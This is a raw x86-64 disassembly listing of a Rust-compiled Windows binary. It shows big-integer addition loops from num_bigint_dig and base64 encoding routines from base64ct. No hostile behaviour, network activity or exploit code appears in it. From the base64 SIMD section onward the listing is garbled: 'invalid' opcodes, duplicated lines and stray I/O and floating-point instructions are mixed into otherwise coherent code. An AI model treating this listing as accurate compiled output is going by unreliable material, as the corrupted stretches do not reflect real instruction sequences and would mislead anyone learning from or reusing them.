mov qword [rsp + 0x58], r12
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x30]
mov r8, rbp
call fcn.140057140
cmp r13, 5
jb 0x140059f4d
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
movups xmm0, xmmword [rsp + 0x88]
mov rcx, qword [rsp + 0x98]
mov qword [rsp + 0x30], rdx
lea r15, [rsp + 0x38]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], r8
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rcx
cmp rcx, 5
mov rdx, r15
cmovae rdx, r8
mov qword [rsp + 0x60], rbx
cmovb rax, rcx
cmp rax, r14
ja 0x14005ac41
test rax, rax
je 0x14005a05f
cmp rax, 1
jne 0x140059fc3
xor esi, esi
xor r10d, r10d
xor r9d, r9d
jmp 0x14005a020
mov r11, rax
and r11, 0xfffffffffffffffe
xor r9d, r9d
xor r10d, r10d
xor ebx, ebx
xor esi, esi
nop word cs:[rax + rax]
add r10, qword [rdi + rsi*8]
adc rbx, 0
add r10, qword [rdx + rsi*8]
adc rbx, 0
mov qword [rdi + rsi*8], r10
xor r10d, r10d
add rbx, qword [rdi + rsi*8 + 8]
setb r10b
add rbx, qword [rdx + rsi*8 + 8]
mov qword [rdi + rsi*8 + 8], rbx
lea rsi, [rsi + 2]
adc r10, 0
mov ebx, 0
cmp r11, rsi
jne 0x140059fe0
test al, 1
je 0x14005a037
add r10, qword [rdi + rsi*8]
adc r9, 0
add r10, qword [rdx + rsi*8]
adc r9, 0
mov qword [rdi + rsi*8], r10
mov r10, r9
test r10, r10
je 0x14005a05f
shl rax, 3
lea rdx, [r14*8]
nop dword [rax + rax]
cmp rdx, rax
je 0x14005a05f
inc qword [rdi + rax]
lea rax, [rax + 8]
je 0x14005a050
mov qword [rsp + 0x1b0], rbp
cmp rcx, 5
jb 0x14005a07c
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0xf0]
mov r13, qword [rsp + 0x100]
movups xmm0, xmmword [rsp + 0x108]
movaps xmmword [rsp + 0x130], xmm0
mov rbp, qword [rsp + 0x118]
mov r12, qword [rsp + 0x120]
mov rsi, qword [rsp + 0x1b8]
shl rsi, 7
mov qword [rsp + 0xb0], 4
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], 2
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0xb0]
call fcn.140055d90
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
lea rax, [rsp + 0x98]
lea rcx, [rsp + 0x78]
mov rbx, qword [rsp + 0x80]
nop dword [rax]
mov r14, qword [rsp + 0x98]
mov rdx, rcx
mov r8, r14
cmp r14, 5
jb 0x14005a15c
mov r8, qword [rsp + 0x78]
mov rdx, rbx
test r8, r8
je 0x14005a187
cmp qword [rdx + r8*8 - 8], 0
jne 0x14005a187
mov rdx, rax
cmp r14, 5
jb 0x14005a17a
mov r14, qword [rsp + 0x78]
mov rdx, rcx
test r14, r14
je 0x14005a140
dec r14
mov qword [rdx], r14
jmp 0x14005a140
movaps xmmword [rsp + 0x30], xmm6
mov qword [rsp + 0x40], r13
movaps xmm0, xmmword [rsp + 0x130]
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbp
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x30]
mov r8, rsi
call fcn.140057140
cmp r14, 5
jb 0x14005a1cd
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
movups xmm0, xmmword [rsp + 0x88]
mov rcx, qword [rsp + 0x98]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], r8
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rcx
cmp rcx, 5
mov rdx, r15
cmovae rdx, r8
mov qword [rsp + 0x60], r12
cmovb rax, rcx
mov r14, qword [rsp + 0x168]
cmp rax, r14
ja 0x14005ac41
test rax, rax
je 0x14005a2df
cmp rax, 1
jne 0x14005a246
xor esi, esi
xor r10d, r10d
xor r9d, r9d
jmp 0x14005a2a0
mov r11, rax
and r11, 0xfffffffffffffffe
xor r9d, r9d
xor r10d, r10d
xor ebx, ebx
xor esi, esi
nop word [rax + rax]
add r10, qword [rdi + rsi*8]
adc rbx, 0
add r10, qword [rdx + rsi*8]
adc rbx, 0
mov qword [rdi + rsi*8], r10
xor r10d, r10d
add rbx, qword [rdi + rsi*8 + 8]
setb r10b
add rbx, qword [rdx + rsi*8 + 8]
mov qword [rdi + rsi*8 + 8], rbx
lea rsi, [rsi + 2]
adc r10, 0
mov ebx, 0
cmp r11, rsi
jne 0x14005a260
test al, 1
je 0x14005a2b7
add r10, qword [rdi + rsi*8]
adc r9, 0
add r10, qword [rdx + rsi*8]
adc r9, 0
mov qword [rdi + rsi*8], r10
mov r10, r9
test r10, r10
je 0x14005a2df
shl rax, 3
lea rdx, [r14*8]
nop dword [rax + rax]
cmp rdx, rax
je 0x14005a2df
inc qword [rdi + rax]
lea rax, [rax + 8]
je 0x14005a2d0
cmp rcx, 5
jb 0x14005a2f4
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x1c0]
mov r13, qword [rsp + 0x1d0]
movups xmm0, xmmword [rsp + 0x1d8]
movaps xmmword [rsp + 0x130], xmm0
mov rbp, qword [rsp + 0x1e8]
mov r12, qword [rsp + 0x1f0]
mov rax, qword [rsp + 0x1b0]
lea rsi, [rax + rax*2]
mov qword [rsp + 0xb0], 4
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], 2
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0xb0]
call fcn.140055d90
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
lea rax, [rsp + 0x98]
lea rcx, [rsp + 0x78]
mov rbx, qword [rsp + 0x80]
nop word cs:[rax + rax]
mov r14, qword [rsp + 0x98]
mov rdx, rcx
mov r8, r14
cmp r14, 5
jb 0x14005a3dc
mov r8, qword [rsp + 0x78]
mov rdx, rbx
test r8, r8
je 0x14005a407
cmp qword [rdx + r8*8 - 8], 0
jne 0x14005a407
mov rdx, rax
cmp r14, 5
jb 0x14005a3fa
mov r14, qword [rsp + 0x78]
mov rdx, rcx
test r14, r14
je 0x14005a3c0
dec r14
mov qword [rdx], r14
jmp 0x14005a3c0
movaps xmmword [rsp + 0x30], xmm6
mov qword [rsp + 0x40], r13
movaps xmm0, xmmword [rsp + 0x130]
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rbp
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x30]
mov r8, rsi
call fcn.140057140
cmp r14, 5
jb 0x14005a44d
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
movups xmm0, xmmword [rsp + 0x88]
mov rcx, qword [rsp + 0x98]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], r8
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rcx
cmp rcx, 5
mov rdx, r15
cmovae rdx, r8
mov qword [rsp + 0x60], r12
cmovb rax, rcx
mov rbp, qword [rsp + 0x168]
cmp rax, rbp
mov r13, qword [rsp + 0x1b8]
ja 0x14005ac41
test rax, rax
je 0x14005a55f
cmp rax, 1
jne 0x14005a4ce
xor esi, esi
xor r10d, r10d
xor r9d, r9d
jmp 0x14005a520
mov r11, rax
and r11, 0xfffffffffffffffe
xor r9d, r9d
xor r10d, r10d
xor ebx, ebx
xor esi, esi
nop
add r10, qword [rdi + rsi*8]
adc rbx, 0
add r10, qword [rdx + rsi*8]
adc rbx, 0
mov qword [rdi + rsi*8], r10
xor r10d, r10d
add rbx, qword [rdi + rsi*8 + 8]
setb r10b
add rbx, qword [rdx + rsi*8 + 8]
mov qword [rdi + rsi*8 + 8], rbx
lea rsi, [rsi + 2]
adc r10, 0
mov ebx, 0
cmp r11, rsi
jne 0x14005a4e0
test al, 1
je 0x14005a537
add r10, qword [rdi + rsi*8]
adc r9, 0
add r10, qword [rdx + rsi*8]
adc r9, 0
mov qword [rdi + rsi*8], r10
mov r10, r9
test r10, r10
je 0x14005a55f
shl rax, 3
lea rdx, [rbp*8]
nop dword [rax + rax]
cmp rdx, rax
je 0x14005a55f
inc qword [rdi + rax]
lea rax, [rax + 8]
je 0x14005a550
cmp rcx, 5
jb 0x14005a574
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x2e0]
mov r14, qword [rsp + 0x2f0]
movups xmm0, xmmword [rsp + 0x2f8]
movaps xmmword [rsp + 0x130], xmm0
mov r12, qword [rsp + 0x308]
mov rax, qword [rsp + 0x310]
mov qword [rsp + 0x1b0], rax
shl r13, 8
mov rbx, r13
mov qword [rsp + 0xb0], 4
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], 2
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0xb0]
call fcn.140055d90
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
lea rax, [rsp + 0x98]
lea rcx, [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
nop word cs:[rax + rax]
mov r13, qword [rsp + 0x98]
mov rdx, rcx
mov r8, r13
cmp r13, 5
jb 0x14005a65c
mov r8, qword [rsp + 0x78]
mov rdx, rsi
test r8, r8
je 0x14005a687
cmp qword [rdx + r8*8 - 8], 0
jne 0x14005a687
mov rdx, rax
cmp r13, 5
jb 0x14005a67a
mov r13, qword [rsp + 0x78]
mov rdx, rcx
test r13, r13
je 0x14005a640
dec r13
mov qword [rdx], r13
jmp 0x14005a640
movaps xmmword [rsp + 0x30], xmm6
mov qword [rsp + 0x40], r14
movaps xmm0, xmmword [rsp + 0x130]
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r12
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x30]
mov r8, rbx
call fcn.140057140
cmp r13, 5
jb 0x14005a6cd
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
movups xmm0, xmmword [rsp + 0x88]
mov rcx, qword [rsp + 0x98]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], r8
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rcx
cmp rcx, 5
cmovae r15, r8
mov rdx, qword [rsp + 0x1b0]
mov qword [rsp + 0x60], rdx
cmovb rax, rcx
cmp rax, rbp
ja 0x14005ac41
test rax, rax
je 0x14005a7df
cmp rax, 1
jne 0x14005a743
xor r11d, r11d
xor r9d, r9d
xor edx, edx
jmp 0x14005a7a0
mov r10, rax
and r10, 0xfffffffffffffffe
xor edx, edx
xor r9d, r9d
xor esi, esi
xor r11d, r11d
nop word cs:[rax + rax]
add r9, qword [rdi + r11*8]
adc rsi, 0
add r9, qword [r15 + r11*8]
adc rsi, 0
mov qword [rdi + r11*8], r9
xor r9d, r9d
add rsi, qword [rdi + r11*8 + 8]
setb r9b
add rsi, qword [r15 + r11*8 + 8]
mov qword [rdi + r11*8 + 8], rsi
lea r11, [r11 + 2]
adc r9, 0
mov esi, 0
cmp r10, r11
jne 0x14005a760
test al, 1
je 0x14005a7b7
add r9, qword [rdi + r11*8]
adc rdx, 0
add r9, qword [r15 + r11*8]
adc rdx, 0
mov qword [rdi + r11*8], r9
mov r9, rdx
test r9, r9
je 0x14005a7df
shl rax, 3
shl rbp, 3
nop word cs:[rax + rax]
cmp rbp, rax
je 0x14005a7df
inc qword [rdi + rax]
lea rax, [rax + 8]
je 0x14005a7d0
cmp rcx, 5
jb 0x14005a7f4
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x420], 5
jb 0x14005a816
mov r8, qword [rsp + 0x408]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x580]
add rsp, 0x598
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov sil, 2
mov r8, qword [rsp + 0x3b0]
cmp r8, 4
ja 0x140058a5d
jmp 0x140058a9d
mov sil, 2
mov r8, qword [rsp + 0x118]
cmp r8, 4
ja 0x140058efa
jmp 0x140058f3a
lea rdx, [rdx + rax*8]
add rdx, 0xfffffffffffffff8
shl rax, 3
neg rax
lea r8, [r8 + rcx*8]
add r8, 0xfffffffffffffff8
shl rcx, 3
neg rcx
xor r9d, r9d
nop word cs:[rax + rax]
cmp rax, r9
je 0x14005a961
cmp rcx, r9
je 0x14005a961
mov r10, qword [rdx + r9]
mov r11, qword [r8 + r9]
cmp r10, r11
jb 0x140059565
add r9, 0xfffffffffffffff8
cmp r10, r11
jbe 0x14005a8e0
jmp 0x1400595ee
lea rdx, [rdx + rax*8]
add rdx, 0xfffffffffffffff8
shl rax, 3
neg rax
lea r8, [r8 + rcx*8]
add r8, 0xfffffffffffffff8
shl rcx, 3
neg rcx
xor r9d, r9d
nop word [rax + rax]
cmp rax, r9
je 0x14005aa55
cmp rcx, r9
je 0x14005aa55
mov r10, qword [rdx + r9]
mov r11, qword [r8 + r9]
cmp r10, r11
jb 0x140059b68
add r9, 0xfffffffffffffff8
cmp r10, r11
jbe 0x14005a930
jmp 0x140059bc7
mov qword [rsp + 0x130], 4
mov qword [rsp + 0x138], 0
mov qword [rsp + 0x140], 2
mov qword [rsp + 0x98], 0
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x130]
call fcn.140055d90
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movups xmm2, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0xd0], xmm2
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
lea rax, [rsp + 0xd8]
lea rcx, [rsp + 0xb8]
mov rdx, qword [rsp + 0xc0]
nop word cs:[rax + rax]
mov r8, qword [rsp + 0xd8]
mov r9, rcx
mov r10, r8
cmp r8, 5
jb 0x14005aa1f
mov r10, qword [rsp + 0xb8]
mov r9, rdx
test r10, r10
je 0x14005ab3d
cmp qword [r9 + r10*8 - 8], 0
jne 0x14005ab3d
mov r9, rax
cmp r8, 5
jb 0x14005aa48
mov r8, qword [rsp + 0xb8]
mov r9, rcx
test r8, r8
je 0x14005aa00
dec r8
mov qword [r9], r8
jmp 0x14005aa00
mov qword [rsp + 0x130], 4
mov qword [rsp + 0x138], 0
mov qword [rsp + 0x140], 2
mov qword [rsp + 0x98], 0
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x130]
call fcn.140055d90
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movups xmm2, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0xd0], xmm2
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
lea rax, [rsp + 0xd8]
lea rcx, [rsp + 0xb8]
mov rdx, qword [rsp + 0xc0]
nop word cs:[rax + rax]
mov r8, qword [rsp + 0xd8]
mov r9, rcx
mov r10, r8
cmp r8, 5
jb 0x14005ab0f
mov r10, qword [rsp + 0xb8]
mov r9, rdx
test r10, r10
je 0x14005ab92
cmp qword [r9 + r10*8 - 8], 0
jne 0x14005ab92
mov r9, rax
cmp r8, 5
jb 0x14005ab30
mov r8, qword [rsp + 0xb8]
mov r9, rcx
test r8, r8
je 0x14005aaf0
dec r8
mov qword [r9], r8
jmp 0x14005aaf0
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmm1, xmmword [rsp + 0xc0]
movaps xmm2, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x150], xmm2
movaps xmmword [rsp + 0x140], xmm1
movaps xmmword [rsp + 0x130], xmm0
lea rcx, [rsp + 0x70]
lea r8, [rsp + 0x130]
mov dl, 1
call fcn.140056460
cmp qword [rsp + 0x58], 5
jae 0x140059497
jmp 0x140059647
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmm1, xmmword [rsp + 0xc0]
movaps xmm2, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x150], xmm2
movaps xmmword [rsp + 0x140], xmm1
movaps xmmword [rsp + 0x130], xmm0
lea rcx, [rsp + 0x70]
lea r8, [rsp + 0x130]
mov dl, 1
call fcn.140056460
cmp qword [rsp + 0x58], 5
jae 0x140059b23
jmp 0x140059c47
lea rcx, [rsp + 0x30]
call fcn.1400ab160
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
lea rax, [rsp + 0x38]
jmp 0x140058c42
lea rcx, [rsp + 0x30]
call fcn.1400ab160
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
lea rax, [rsp + 0x38]
jmp 0x140058e32
lea rcx, [rsp + 0x30]
call fcn.1400ab160
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
lea rax, [rsp + 0x38]
jmp 0x1400598c2
lea rcx, str.assertion_failed:_mid___self.len__C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64ct_1.6.0_srcencoding.rs
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_src_algorithms_add.rs
mov edx, 0x23
call fcn.1400aa0a0
ud2
mov rax, rsi
mov rdx, rdi
movaps xmm6, xmmword [rsp + 0x30]
movaps xmm7, xmmword [rsp + 0x40]
movaps xmm8, xmmword [rsp + 0x50]
movaps xmm9, xmmword [rsp + 0x60]
movaps xmm10, xmmword [rsp + 0x70]
movaps xmm11, xmmword [rsp + 0x80]
movaps xmm12, xmmword [rsp + 0x90]
movaps xmm13, xmmword [rsp + 0xa0]
movaps xmm14, xmmword [rsp + 0xb0]
movaps xmm15, xmmword [rsp + 0xc0]
add rsp, 0xd8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movdqu xmm8, xmmword [r15]
movq xmm7, qword [r15 + 0x10]
movdqa xmm4, xmmword [0x1400b0840]
movdqa xmm3, xmm4
pandn xmm3, xmm7
movdqa xmm6, xmm8
pand xmm6, xmm4
por xmm6, xmm3
pxor xmm0, xmm0
punpcklbw xmm6, xmm0
invalid
invalid
movdqa xmm3, xmmword [0x1400b0850]
pand xmm6, xmm3
movdqa xmm10, xmm8
punpckhbw xmm10, xmm0
pandn xmm3, xmm10
por xmm3, xmm6
pshufd xmm3, xmm3, 0xd8
pshufhw xmm3, xmm3, 0x6c
invalid
fisub word [rsi + 0xf]
jo case.0x140075d15.511
fdiv st(3)
pshufw mm3, mm3, 0x6c
pshufd xmm3, xmm3, 0x6c
pshuflw xmm3, xmm3, 0x6c
pshufhw xmm3, xmm3, 0xc6
packuswb xmm3, xmm3
invalid
invalid
movdqa xmm11, xmmword [0x1400b0860]
movdqa xmm6, xmm11
invalid
movq mm6, mm3
pandn xmm6, xmm7
movdqa xmm4, xmm8
pand xmm4, xmm11
por xmm4, xmm6
punpcklbw xmm4, xmm0
invalid
loopne 0x140062a57
movq mm6, qword [0x1400b0870]
outsd dx, dword [rsi]
xor eax, 0x4de78
invalid
outsd dx, dword [rsi]
xor eax, 0x4de78
pand xmm4, xmm6
pandn xmm6, xmm10
por xmm6, xmm4
pshuflw xmm4, xmm6, 0xc6
pshufhw xmm4, xmm4, 0xc6
pshufd xmm4, xmm4, 0x6c
pshuflw xmm4, xmm4, 0x39
jo 0x1400629fc
cmp ebx, esi
pshufw mm6, mm4, 0x39
jo 0x1400629fc
packuswb xmm6, xmm6
movdqa xmm11, xmmword [0x1400b0880]
movdqa xmm4, xmm11
pandn xmm4, xmm7
invalid
out 0x66, eax
pand mm0, mm3
por xmm8, xmm4
por mm0, mm4
por mm0, mm4
punpcklbw xmm8, xmm0
movdqa xmm4, xmmword [0x1400b0890]
and eax, 0x4de45
and eax, 0x4de45
pand xmm8, xmm4
pandn xmm4, xmm10
por xmm4, xmm8
por mm4, mm0
por mm4, mm0
pshufd xmm4, xmm4, 0x27
pshufhw xmm4, xmm4, 0x6c
in al, 0x6c
in al, 0x6c
pshufd xmm4, xmm4, 0x27
pshuflw xmm4, xmm4, 0xc6
pshufhw xmm4, xmm4, 0xc6
packuswb xmm4, xmm4
in al, 0x66
punpcklbw mm3, mm0
invalid
in al, 0x66
punpcklbw mm3, mm0
invalid
fsub dword [rsi + 0xf]
invalid
punpcklbw xmm6, xmm0
punpcklbw xmm4, xmm0
movdqa xmm8, xmm3
psrlw xmm8, 2
movdqa xmm12, xmmword [str.________]
add byte [rsi + 0x41], ah
movq mm7, mm4
outsd dx, dword [rsi]
cld
invalid
outsd dx, dword [rsi]
cld
psubw xmm7, xmm8
psrlw xmm7, 8
pand xmm7, xmm9
stc
movdqa xmm14, xmmword [0x1400b08c0]
movdqa xmm10, xmm14
movq mm2, mm6
psubw xmm10, xmm8
psrlw xmm10, 8
pand xmm10, xmm5
pand mm2, mm5
pand mm2, mm5
movdqa xmm15, xmmword [str.33333333]
movq mm7, qword [str.33333333]
invalid
movdqa xmm11, xmm15
psubw xmm11, xmm8
psrlw xmm11, 8
pand xmm11, xmm13
paddw xmm11, xmm10
frstor dword [rsi + 0x45]
paddw mm3, mm2
movdqa xmm0, xmmword [0x1400b0900]
movdqa xmm10, xmm0
psubw xmm10, xmm8
psrlw xmm10, 8
ror byte [rax], cl
ror byte [rax], cl
pand xmm10, xmm2
paddw xmm10, xmm8
paddw xmm10, xmm11
movdqa xmm1, xmmword [str.AAAAAAAA00000000________________]
paddw xmm7, xmm1
paddw xmm7, xmm10
psllw xmm3, 4
pand xmm3, xmmword [0x1400b0930]
movdqa xmm8, xmm6
movq mm0, mm6
movq mm0, mm6
psrlw xmm8, 4
por xmm8, xmm3
movdqa xmm3, xmm12
psubw xmm3, xmm8
psrlw xmm3, 8
pand xmm3, xmm9
pand mm3, mm1
pand mm3, mm1
movdqa xmm10, xmm14
psubw xmm10, xmm8
psrlw xmm10, 8
pand xmm10, xmm5
movdqa xmm11, xmm15
psubw xmm11, xmm8
psrlw xmm11, 8
pand xmm11, xmm13
paddw xmm11, xmm10
movdqa xmm10, xmm0
psubw xmm10, xmm8
psrlw xmm10, 8
pand xmm10, xmm2
paddw xmm10, xmm8
paddw xmm10, xmm11
paddw xmm3, xmm1
paddw xmm3, xmm10
psllw xmm6, 2
pand xmm6, xmmword [0x1400b0940]
movdqa xmm8, xmm4
psrlw xmm8, 6
por xmm8, xmm6
movdqa xmm6, xmm12
psubw xmm6, xmm8
psrlw xmm6, 8
pand xmm6, xmm9
movdqa xmm10, xmm14
psubw xmm10, xmm8
psrlw xmm10, 8
pand xmm10, xmm5
movdqa xmm11, xmm15
psubw xmm11, xmm8
psrlw xmm11, 8
pand xmm11, xmm13
paddw xmm11, xmm10
movdqa xmm10, xmm0
psubw xmm10, xmm8
psrlw xmm10, 8
ror byte [rax], cl
ror byte [rax], cl
pand xmm10, xmm2
paddw xmm10, xmm8
paddw xmm10, xmm11
paddw xmm6, xmm1
paddw xmm6, xmm10
pand xmm4, xmmword [0x1400b0950]
psubw xmm12, xmm4
psrlw xmm12, 8
psrlw mm4, 8
psrlw mm4, 8
pand xmm12, xmm9
psubw xmm14, xmm4
psrlw xmm14, 8
pand xmm14, xmm5
psubw xmm15, xmm4
psrlw xmm15, 8
pand xmm15, xmm13
invalid
std
paddw xmm15, xmm14
psubw xmm0, xmm4
psrlw xmm0, 8
pand xmm0, xmm2
paddw xmm0, xmm4
paddw xmm0, xmm15
paddw xmm12, xmm1
paddw xmm12, xmm0
movdqa xmm0, xmmword [0x1400b0960]
movq mm0, qword [0x1400b0960]
invalid
movq mm0, qword [0x1400b0960]
pand xmm3, xmm0
pand xmm7, xmm0
packuswb xmm7, xmm3
pand xmm6, xmm0
pand mm6, mm0
pand mm6, mm0
pand xmm12, xmm0
packuswb xmm6, xmm12
movdqa xmm3, xmm6
pxor xmm0, xmm0
shl byte [rsi + 0xf], 0x68
fsub dword [rsi + 0xf]
invalid
invalid
pxor xmm1, xmm1
leave
shl byte [rsi + 0xf], 0x68
fsub dword [rsi + 0xf]
invalid
leave
movdqa xmm4, xmm6
punpcklwd xmm4, xmm3
out 0x66, al
punpcklwd mm4, mm3
pshufd xmm8, xmm4, 0xfa
pshufd xmm4, xmm4, 0x50
packuswb xmm4, xmm8
movdqa xmm0, xmmword [0x1400b0970]
add eax, 0x4dc89
add eax, 0x4dc89
movdqa xmm8, xmm0
pandn xmm8, xmm4
movdqa xmm4, xmm7
movq mm4, mm7
movq mm4, mm7
punpckhbw xmm4, xmm1
punpckhbw mm4, mm1
punpcklbw xmm7, xmm1
movdqa xmm10, xmm7
punpcklwd xmm10, xmm4
pshufd xmm11, xmm10, 0xf6
pshufd xmm10, xmm10, 0xd4
packuswb xmm10, xmm11
shl dword [esi + 0x44], cl
pand mm2, mm0
shl dword [esi + 0x44], cl
pand mm2, mm0
por xmm10, xmm8
punpckhwd xmm6, xmm3
pshufd xmm3, xmm6, 0xfa
pshufd xmm6, xmm6, 0x50
packuswb xmm6, xmm3
movdqa xmm3, xmm0
pandn xmm3, xmm6
punpckhwd xmm7, xmm4
pshufd xmm4, xmm7, 0xf6
pshufd xmm6, xmm7, 0xd4
pshufw mm6, mm7, 0xd4
pshufw mm6, mm7, 0xd4
packuswb xmm6, xmm4
pand xmm6, xmm0
por xmm6, xmm3
movdqu xmmword [rsi + r11*4 + 0x10], xmm6
movdqu xmmword [rsi + r11*4], xmm10
add r11, 8
or byte [rcx - 0x7d], cl
invalid
sbb byte [rcx + rdi - 0x27], cl
jne 0x140062960
or byte [rcx - 0x7d], cl
invalid
movdqa xmm0, xmmword [0x1400b0980]
outsd dx, dword [rsi]
add eax, 0x4dc04
movdqa xmm1, xmmword [0x1400b0990]
movdqa xmm2, xmmword [0x1400b09a0]
movdqa xmm3, xmmword [0x1400b09b0]
movdqa xmm4, xmmword [str.3333]
movdqa xmm5, xmmword [0x1400b09d0]
movdqa xmm6, xmmword [0x1400b09e0]
movdqa xmm7, xmmword [0x1400b09f0]
movdqa xmm8, xmmword [str.AAAA]
movq mm0, qword [str.AAAA]
movq mm0, qword [str.AAAA]
movdqa xmm9, xmmword [0x1400b0960]
nop word cs:[rax + rax]
test rdx, rdx
je 0x140062853
add r9, 0xfffffffffffffffd
lea r15, [r10 + 4]
lea edi, [rdx + 4]
lea edi, [rdx + 4]
movzx ecx, byte [rax]
movzx r11d, byte [rax + 1]
movzx ebp, byte [rax + 2]
mov r12d, ecx
shr r12d, 2
in al, dx
add al, cl
loope 0x140062dfb
in al, dx
add al, cl
loope 0x140062dfb
and ecx, 0x30
mov r13d, r11d
mov ebp, ebx
shr r13d, 4
or r13d, ecx
and r11d, 0xf
mov ecx, ebp
shr ecx, 6
lea ecx, [rcx + r11*4]
and ebp, 0x3f
movd xmm10, r12d
pinsrw xmm10, r13d, 1
pinsrw mm2, r13d, 1
pinsrw mm2, r13d, 1
pinsrw xmm10, ecx, 2
pinsrw xmm10, ebp, 3
add rdx, 0xfffffffffffffffc
movdqa xmm11, xmm0
psubw xmm11, xmm10
psrlw xmm11, 8
pand xmm11, xmm1
fcmovnu st(0), st(1)
fcmovnu st(0), st(1)
movdqa xmm12, xmm2
psubw xmm12, xmm10
psrlw xmm12, 8
pand xmm12, xmm3
movdqa xmm13, xmm4
psubw xmm13, xmm10
invalid
psrlw xmm13, 8
pand xmm13, xmm5
paddw xmm13, xmm12
movdqa xmm12, xmm6
psubw xmm12, xmm10
psrlw xmm12, 8
psrlw mm4, 8
invalid
psrlw mm4, 8
pand xmm12, xmm7
paddw xmm12, xmm10
paddw xmm12, xmm13
paddw xmm12, xmm11
paddw xmm12, xmm8
pand xmm12, xmm9
pand mm4, mm1
pand mm4, mm1
packuswb xmm12, xmm12
movd dword [r10], xmm12
add rax, 3
mov r10, r15
cmp r9, 3
jae 0x140062dd0
cmp rdx, 4
jb 0x140062853
sub rbx, r8
add r14, r8
mov r8, rbx
xor r8, 3
lea rcx, [rsp + rbx]
